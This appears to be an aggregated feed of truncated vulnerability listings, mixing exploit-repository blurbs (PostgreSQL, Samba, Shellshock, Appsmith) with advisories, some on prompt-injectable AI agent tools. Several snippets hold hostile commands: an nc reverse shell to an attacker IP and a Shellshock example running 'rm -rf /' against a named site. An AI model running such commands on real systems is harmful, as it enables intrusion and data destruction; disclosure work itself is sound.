CVE-2019-9193-Postgresql-RCE

usage: CVE-2019-9193.py -h -i IP -p PORT -d DATABASE -c COMMAND -t TIMEOUT -U USER -P PASSWORD example: python3 CVE-2019-9193.py -i 127.0.0.1 -p 5432 -U postgres -c 'id' example 2 : python3 CVE-2019-9193.py -h localhost -p 5432 -U postgres -c 'id' output: + Connecting to PostgreSQL Database on...

CVE-2021-43469

CVE-2021-43469 Exploit Title: VINGA router has weak passwords and background command execution vulnerabilities. product: VINGA WR-N300U webserver: goahead Author: CXAQHQ TIME: 2021-11-01 Command execution vulnerabilities exist on the Ping and traceroute interfaces after login. Run the IP addr...

CVE-2026-104024

Incomplete List of Disallowed Inputs CWE-184 in the dangerous-extension confirmation of the archive object viewer peach.pas, gridobjopen in PeaZip 10.5.0 through 11.2.0 on Windows allows an attacker who convinces a victim to open an entry of a crafted archive to execute a program, or an arbitrary...

CVE-2026-104024 Incomplete dangerous-extension list in PeaZip object open allows execution of a program or command from a crafted archive entry without confirmation

Incomplete List of Disallowed Inputs CWE-184 in the dangerous-extension confirmation of the archive object viewer peach.pas, gridobjopen in PeaZip 10.5.0 through 11.2.0 on Windows allows an attacker who convinces a victim to open an entry of a crafted archive to execute a program, or an arbitrary...

CVE-2026-104024 Incomplete dangerous-extension list in PeaZip object open allows execution of a program or command from a crafted archive entry without confirmation

Incomplete List of Disallowed Inputs CWE-184 in the dangerous-extension confirmation of the archive object viewer peach.pas, gridobjopen in PeaZip 10.5.0 through 11.2.0 on Windows allows an attacker who convinces a victim to open an entry of a crafted archive to execute a program, or an arbitrary...

CVE-2018-17179-OpenEMR

CVE-2018-17179-OpenEMR ⚠️ Disclaimer This repository is intended strictly for educational and research purposes only. The information and code provided here can be used in controlled environments , such as private lab machines. Unauthorized use of this code against systems you do not own or have...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Usage Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost 10.129.232.46...

ShockZaum-CVE-2014-6271

CVE-2014-6271 Script to attack shellshock vulnerability ! Usage: ./ShockZaum -u 'https://nasa.gov' -c 'rm -rf /' -p '/cgi-bin/aliens.cgi'...

CVE-2026-79834

A security vulnerability in HPE NonStop SQL/MX SQLCAT may allow an unauthenticated user to perform unauthorized command execution...

CVE-2024-55963

CVE‑2024‑55963 Appsmith RCE PoC PoC exploit for CVE‑2024‑55963 that runs arbitrary commands or spawns reverse shell on vulnerable Appsmith instances. It automatically handles both modern servers with the environmentId feature and much older “legacy” builds that pre‑date it, so you can use one...

EUVD-2026-102018

A security vulnerability in HPE NonStop SQL/MX SQLCAT may allow an unauthenticated user to perform unauthorized command execution...

CVE-2026-79834

A security vulnerability in HPE NonStop SQL/MX SQLCAT (specifically version T1055L40 and earlier) may allow an unauthenticated user to perform unauthorized command execution . This issue is attributed to Improper Input Validation (CWE-20). The vulnerability is rated as HIGH severity (CVSS 7.4). H...

CVE-2026-79834 HPE NonStop SQL/MX SQLCAT - Unauthorized command execution vulnerability

A security vulnerability in HPE NonStop SQL/MX SQLCAT may allow an unauthenticated user to perform unauthorized command execution...

Exploit for CVE-2026-77521

CVE-2026-77521 — MaxKB prompt-injectable agent → command execu...

CVE-2022-22947-POC

CVE-2022-22947-POC CVE-2022-22947 batch detection script. The echo command is not regex-filtered. Please use it for now; I will update later. Place url.txt in the script directory. Directly run: python 脚本.py Demo: After the scan is complete, a success.txt file will be generated. This script will...

PYSEC-2026-4250 PraisonAI: SecurityPolicy command/path/import restrictions are completely unenforced by the default SubprocessSandbox backend

Summary SecurityPolicy in praisonaiagents/sandbox/config.py is a documented configuration data class with fields for allowsubprocess, allowedpaths, blockedpaths, allowedcommands, blockedcommands, allowedimports, and blockedimports. Its strict classmethod is explicitly described as creating "a...

PYSEC-2026-4253 PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls

Summary The AICoder UI component exposes writetofile and executecommand tools to the LLM with no path validation and no command sanitization. An attacker can achieve arbitrary file write to any location on the filesystem including /root/.ssh/authorizedkeys, /etc/crontab and arbitrary command...

Docling has arbitrary file read/write (and command execution when shell-escape is enabled) when rendering untrusted TikZ with the opt-in Tectonic engine

SummaryWhen the LaTeX backend is configured to render TikZ pictures with the Tectonic engine LatexBackendOptionstikzengine="tectonic", the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted .tex file can rea...

PYSEC-2026-4216 Docling has arbitrary file read/write (and command execution when shell-escape is enabled) when rendering untrusted TikZ with the opt-in Tectonic engine

Summary When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine LatexBackendOptionstikzengine="tectonic", the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted .tex file can re...

PYSEC-2026-4219 GPT Researcher MCP STDIO configuration allows remote command execution

An issue in Open Source GPT Researcher v3.3.7 allows attackers to execute arbitrary commands on a victim system via user interaction with a crafted HTML page...